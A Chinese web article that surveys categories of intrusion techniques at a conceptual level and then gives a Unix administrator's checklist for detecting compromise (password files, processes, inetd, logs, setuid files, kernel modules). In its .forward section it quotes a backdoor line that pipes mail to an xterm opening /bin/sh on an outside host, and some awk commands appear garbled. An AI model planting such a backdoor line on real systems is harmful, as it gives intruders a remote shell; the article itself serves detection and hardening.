怎样算入侵?

怎样算入侵?,第1张

入侵分很多层次,从本质上说入侵是成功获取了入侵对象未经授权的权限,(权限访问、修改、执行等等;对象可以包括网络、主机文件、数据库等等),但是一般情况下默认为取得系统最高的权限为入侵系统。

其实有些不是很严重的行为也应该算入侵,比如利用网站漏洞查看到了别人的个人薪水等

入侵技术技术细分下来共有九类,分别为入侵系统类攻击、缓冲区溢出攻击、欺骗类攻击、拒绝服务攻击、对防火墙的攻击、利用病毒攻击、木马程序攻击、后门攻击、信息战。

1. 入侵系统类攻击

这种攻击手法千变万化,可是攻击者的最终目的都是为了获得主机系统的控制权,从而破坏主机和网络系统。这类攻击又分为:信息收集攻击、口令攻击、漏洞攻击

信息收集型攻击并不对目标本身造成危害,这类攻击被用来为进一步入侵提供有用的信息。主要包括:扫描技术攻击;体系结构探测攻击;利用信息服务攻击;假消息攻击;网络监听攻击等。黑客还会运用社会工程收集信息。

口令攻击是网上攻击最常用的方法,入侵者通过系统常用服务或对网络通信进行监听来搜集帐号,当找到主机上的有效帐号后,就采用字典穷举法进行攻击,或者他们通过各种方法获取password文件,然后用口令猜测程序破译用户帐号和密码。

利用系统管理策略或配置文件的漏洞,获得比合法权限更高的操作权,如:电子邮件DEBUG、Decode、Pipe、Wiz;FTP的CWD~root、Site Exec;IP碎片攻击、NFS猜测、NFS Mknod、NFS UID检查、Rlogin-froot检查等。

利用系统配置疏忽的入侵攻击,如:利用CGI脚本权限配置错误的入侵攻击;利用环境变量配置疏忽的入侵攻击;Setuid 漏洞入侵攻击。

协议漏洞攻击,如:FTP协议攻击;服务程序漏洞攻击,如wu-ftpd漏洞攻击、IIS漏洞攻击;CGI漏洞攻击等。

利用WEB服务器的不合理配置,或CGI程序的漏洞进行攻击,达到获取脚本源码,非法执行程序,使WWW服务器崩溃等目的。如:对NT的IIS服务器的多种攻击,对许多免费CGI程序;对asp,java script程序漏洞的攻击等。

2.缓冲区溢出攻击

通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其它的指令,如果这些指令是放在有root权限的内存中,那么一旦这些指令得到了运行,黑客就以root权限控制了系统,达到入侵的目的。缓冲区攻击的目的在于扰乱某些以特权身份运行的程序的功能,使攻击者获得程序的控制权。

缓冲区溢出的一般攻击步骤为:在程序的地址空间里安排适当的代码(植入法或利用已存在的代码),然后,通过适当的地址初始化寄存器和存储器,让程序跳到黑客安排的地址空间中执行(如激活纪录、函数指针或长跳转缓冲区等)。

3.欺骗类攻击

TCP/IP协议本身的一些缺陷可以被利用,使黑客可以对TCP/IP网络进行攻击,网络欺骗的技术主要有:HoneyPot和分布式HoneyPot、欺骗空间技术等。主要方式有:IP欺骗;ARP欺骗;DNS欺骗;Web欺骗;电子邮件欺骗;源路由欺骗(通过指定路由,以假冒身份与其它主机进行合法通信、或发送假报文,使受攻击主机出现错误动作;地址欺骗(包括伪造源地址和伪造中间站点)等。

以IP欺骗攻击为例说明如下,其的实施步骤为:选定目标主机——发现主机间的信任模式——使被信任主机葬失工作能力——TCP序列号的取样和预测——冒充被信任主机进入系统,并留下后门供以后使用。

4. 拒绝服务攻击

通过网络,也可使正在使用的计算机出现无响应、死机的现象,这就是拒绝服务攻击,简称DoS(Denial of Service)。这种攻击行为通过发送一定数量一定序列的报文,使网络服务器中充斥了大量要求回复的信息,消耗网络带宽或系统资源,导致网络或系统不胜负荷以至于瘫痪、停止正常的网络服务。

常见的DoS工具有:同步洪流、WinNuke、死亡之PING、Echl攻击、ICMP/SMURF、Finger炸弹、Land攻击、Ping洪流、Rwhod、tearDrop、TARGA3、UDP攻击、OOB等。

分布式拒绝服务攻击:这种攻击采用了一种比较特别的体系结构,从许多分布的主机同时攻击一个目标,从而导致目标瘫痪,简称DDoS(Distributed Denial of Service)。攻击步骤如下:探测扫描大量主机以找到可以入侵的脆弱主机——入侵有安全漏洞的主机并获取控制权——在每台被入侵的主机上安装攻击程序(整个过程都是自动化的,在短时间内即可入侵数千台主机)——在控制了足够多的主机之后,从中选择一台作为管理机,安装攻击主程序——到指定逻辑状态后,该管理机指挥所有被控制机对目标发起攻击,造成目标机瘫痪。如:Trinoo、TFN、Stacheldraht、TFN2K、Blitznet、Fapi、Shaft、Trank攻击等。

5.对防火墙的攻击

一般来说,防火墙的抗攻击性很强,可是它也不是不可攻破的。其实,防火墙也是由软件和硬件组成的,在设计和实现上都不可避免地存在着缺陷。对防火墙的探测攻击技术有:Firewalking技术、Hping。

绕过防火墙认证的攻击手法有:地址欺骗和TCP序号协同攻击、IP分片攻击、Tcp/Ip会话劫持、协议隧道攻击、干扰攻击、利用FTP-pasv绕过防火墙认证的攻击。

直接攻击防火墙系统的常见手法有:CiscoPix防火墙的安全漏洞:CiscoPIX防火墙的拒绝服务漏洞、CISCOPIX防火墙FTP漏洞允许非法通过防火墙。

6.利用病毒攻击

病毒是黑客实施网络攻击的有效手段之一,它具有传染性、隐蔽性、寄生性、繁殖性、潜伏性、针对性、衍生性、不可预见性和破坏性等特性,而且在网络中其危害更加可怕,目前可通过网络进行传播的病毒已有数万种,可通过注入技术进行破坏和攻击。

计算机病毒攻击的传播途径有电子邮件、传统的软盘、光盘、BBS、WWW浏览、FTP文件下载、新闻组、点对点通信系统和无线通信系统等。

7.木马程序攻击

特洛依木马是一种骗子程序,提供某些功能作为诱饵,背地里干一些鬼事,当目标计算机启动时,木马程序随之启动,然后在某一特定的端口监听,在通过监听端口收到命令后,木马程序根据命令在目标计算机上执行一些操作,如传送或删除文件,窃取口令,重新启动计算机等。常见的特洛伊木马程序有:BO、Netspy、Netbus等。

8.后门攻击

后门是指入侵者躲过日志,使自己重返被入侵系统的技术,后门种类很多,常见的有:调试后门、管理后门、恶意后门、Login后门、Telnet后门、rhosts +后门、服务后门、文件系统后门、内核后门、Boot后门、TCP Shell后门等。

9.信息战

信息战指利用现代信息手段,通过夺取信息优势来达到自己的军事目的,它既包括了攻击对方的认识和信念,也包括了利用信息优势在实际战斗中打败对方。包括:进攻性信息战(如:电子战进攻、计算机网络进攻、截获和利用敌方的信息、军事欺骗、进攻性心理战、物理摧毁、微处理芯片攻击、利用电磁辐射窃取信息、高功率微波武器等)和防御性信息战(如:电子战防卫、计算机通信和网络安全防护、反情报、防御性的军事欺骗及反欺骗、防御性心理战、防物理摧毁、防御性信息武器等)。

1、检查系统密码文件

首先从明显的入手,查看一下passwd文件,ls –l /etc/passwd查看文件修改的日期。

检查一下passwd文件中有哪些特权用户,系统中uid为0的用户都会被显示出来。

1

   

awk –F:’==0 {print }’ /etc/passwd

   

顺便再检查一下系统里有没有空口令帐户:

1

   

awk –F: ‘length()==0 {print }’ /etc/shadow

   

2、查看一下进程,看看有没有奇怪的进程

重点查看进程:ps –aef | grep inetd

inetd是UNIX系统的守护进程,正常的inetd的pid都比较靠前,如果你看到输出了一个类似inetd –s /tmp/.xxx之类的进程,着重看inetd –s后面的内容。在正常情况下,LINUX系统中的inetd服务后面是没有-s参数的,当然也没有用inetd去启动某个文件;而solaris系统中也仅仅是inetd –s,同样没有用inetd去启动某个特定的文件;如果你使用ps命令看到inetd启动了某个文件,而你自己又没有用inetd启动这个文件,那就说明已经有人入侵了你的系统,并且以root权限起了一个简单的后门。

输入ps –aef 查看输出信息,尤其注意有没有以./xxx开头的进程。一旦发现异样的进程,经检查为入侵者留下的后门程序,立即运行kill –9 pid 开杀死该进程,然后再运行ps –aef查看该进程是否被杀死;一旦此类进程出现杀死以后又重新启动的现象,则证明系统被人放置了自动启动程序的脚本。这个时候要进行仔细查找:find / -name 程序名 –print,假设系统真的被入侵者放置了后门,根据找到的程序所在的目录,会找到很多有趣的东东J

UNIX下隐藏进程有的时候通过替换ps文件来做,检测这种方法涉及到检查文件完整性,稍后我们再讨论这种方法。

接下来根据找到入侵者在服务器上的文件目录,一步一步进行追踪。

3、检查系统守护进程

检查/etc/inetd.conf文件,输入:cat /etc/inetd.conf | grep –v “^#”,输出的信息就是你这台机器所开启的远程服务。

一般入侵者可以通过直接替换in.xxx程序来创建一个后门,比如用/bin/sh 替换掉in.telnetd,然后重新启动inetd服务,那么telnet到服务器上的所有用户将不用输入用户名和密码而直接获得一个rootshell。

4、检查网络连接和监听端口

输入netstat -an,列出本机所有的连接和监听的端口,查看有没有非法连接。

输入netstat –rn,查看本机的路由、网关设置是否正确。

输入 ifconfig –a,查看网卡设置。

5、检查系统日志

命令last | more查看在正常情况下登录到本机的所有用户的历史记录。但last命令依赖于syslog进程,这已经成为入侵者攻击的重要目标。入侵者通常会停止系统的syslog,查看系统syslog进程的情况,判断syslog上次启动的时间是否正常,因为syslog是以root身份执行的,如果发现syslog被非法动过,那说明有重大的入侵事件。

在linux下输入ls –al /var/log

在solaris下输入 ls –al /var/adm

检查wtmp utmp,包括messgae等文件的完整性和修改时间是否正常,这也是手工擦除入侵痕迹的一种方法。

6、检查系统中的core文件

通过发送畸形请求来攻击服务器的某一服务来入侵系统是一种常规的入侵方法,典型的RPC攻击就是通过这种方式。这种方式有一定的成功率,也就是说它并不能100%保证成功入侵系统,而且通常会在服务器相应目录下产生core文件,全局查找系统中的core文件,输入find / -name core –exec ls –l {} \依据core所在的目录、查询core文件来判断是否有入侵行为。

7、.rhosts和.forward

这是两种比较著名的后门文件,如果想检查你的系统是否被入侵者安装了后门,不妨全局查找这两个文件:

find / -name “.rhosts” –print

find / -name “.forward” –print

在某用户的$HOME下,.rhosts文件中仅包含两个+号是非常危险的,如果你的系统上开了513端口(rlogin端口,和telnet作用相同),那么任意是谁都可以用这个用户登录到你的系统上而不需要任何验证。

看到这里如果想要深入的做安全加固服务以及安全部署

就必须找专业做服务器的安全公司来处理了国内也就Sine安全和绿盟比较专业提供。

Unix下在.forward文件里放入命令是重新获得访问的常用方法在某一 用户$HOME下的.forward可能设置如下:

\username|"/usr/local/X11/bin/xterm -disp hacksys.other.dom:0.0 –e /bin/sh"

这种方法的变形包括改变系统的mail的别名文件(通常位于/etc/aliases). 注意这只是一种简单的变换. 更为高级的能够从.forward中运行简单脚本实现在标准输入执行任意命令(小部分预处理后).利用smrsh可以有效的制止这种后门(虽然如果允许可以自运行的elm's filter或procmail类程序, 很有可能还有问题。在Solaris系统下,如果你运行如下命令:

ln -s /var/mail/luser ~/.forward

然后设置vacation有效,那么/var/mail/luser就会被拷贝到~/.forward,同时会附加"|/usr/bin/vacation me",旧的symlink被移到~/.forward..BACKUP中。

直接删除掉这两个文件也可以。

8、检查系统文件完整性

检查文件的完整性有多种方法,通常我们通过输入ls –l 文件名来查询和比较文件,这种方法虽然简单,但还是有一定的实用性。但是如果ls文件都已经被替换了就比较麻烦。在LINUX下可以用rpm –V `rpm –qf 文件名` 来查询,国家查询的结果是否正常来判断文件是否完整。在LINUX下使用rpm来检查文件的完整性的方法也很多,这里不一一赘述,可以man rpm来获得更多的格式。

UNIX系统中,/bin/login是被入侵者经常替换作为后门的文件,接下来谈一下login后门 :

UNIX里,Login程序通常用来对telnet来的用户进行口令验证。入侵者获取login的源代码并修改,使它在比较输入口令与存储口令时先检查后门口令。如果用户敲入后门口令,它将忽视管理员设置的口令让你长驱直入:这将允许入侵者进入任何账号,甚至是root目录。由于后门口令是在用户真实登录并被日志记录到utmp和wtmP前产生的一个访问,所以入侵者可以登录获取shell却不会暴露该账号。管理员注意到这种后门后,使用”strings”命令搜索login程序以寻找文本信息。许多情况下后门口令会原形毕露。入侵者又会开始加密或者更改隐藏口令,使strings命令失效。所以许多管理员利用MD5校验和检测这种后门。UNIX系统中有md5sum命令,输入md5sum 文件名检查该文件的md5签名。它的使用格式如下:md5sum –b 使用二进制方式阅读文件;md5sum –c 逆向检查MD5签名;md5sum –t 使用文本方式阅读文件。

在前面提到过守护进程,对于守护进程配置文件inetd.conf中没有被注释掉的行要进行仔细比较,举个简单的例子,如果你开放了telnet服务,守护进程配置文件中就会有一句:telnet stream tcp nowait root /usr/sbin/in.telnetd in.telnetd

可以看到它所使用的文件是 /usr/sbin/in.telnetd,检查该文件的完整性,入侵者往往通过替换守护进程中允许的服务文件来为自己创建一个后门。

LINUX系统中的/etc/crontab也是经常被入侵者利用的一个文件,检查该文件的完整性,可以直接cat /etc/crontab,仔细阅读该文件有没有被入侵者利用来做其他的事情。

不替换login等文件而直接使用进程来启动后门的方法有一个缺陷,即系统一旦重新启动,这个进程就被杀死了,所以得让这个后门在系统启动的时候也启动起来。通常通过检查/etc/rc.d下的文件来查看系统启动的时候是不是带有后门程序;这个方法怎么有点象查windows下的trojan?

说到这里,另外提一下,如果在某一目录下发现有属性为这样的文件:-rwsr-xr-x 1 root root xxx .sh,这个表明任何用户进来以后运行这个文件都可以获得一个rootshell,这就是setuid文件。运行 find –perm 4000 –print对此类文件进行全局查找,然后删除这样的文件。

9、检查内核级后门

如果你的系统被人安装了这种后门,通常都是比较讨厌的,我常常就在想,遇到这种情况还是重新安装系统算了J,言归正传,首先,检查系统加载的模块,在LINUX系统下使用lsmod命令,在solaris系统下使用modinfo命令来查看。这里需要说明的是,一般默认安装的LINUX加载的模块都比较少,通常就是网卡的驱动;而solaris下就很多,没别的办法,只有一条一条地去分析。对内核进行加固后,应禁止插入或删除模块,从而保护系统的安全,否则入侵者将有可能再次对系统调用进行替换。我们可以通过替换create_module()和delete_module()来达到上述目的。另外,对这个内核进行加固模块时应尽早进行,以防系统调用已经被入侵者替换。如果系统被加载了后门模块,但是在模块列表/proc/module里又看不到它们,有可能是使用了hack工具来移除加载的模块,大名鼎鼎的knark工具包就有移除加载模块的工具。出现这种情况,需要仔细查找/proc目录,根据查找到的文件和经验来判断被隐藏和伪装的进程。Knark后门模块就在/proc/knark目录,当然可能这个目录是隐藏的。


欢迎分享,转载请注明来源:夏雨云

原文地址:https://www.xiayuyun.com/zonghe/633611.html

(0)
打赏 微信扫一扫微信扫一扫 支付宝扫一扫支付宝扫一扫
上一篇 2023-07-18
下一篇2023-07-18

发表评论

登录后才能评论

评论列表(0条)

    保存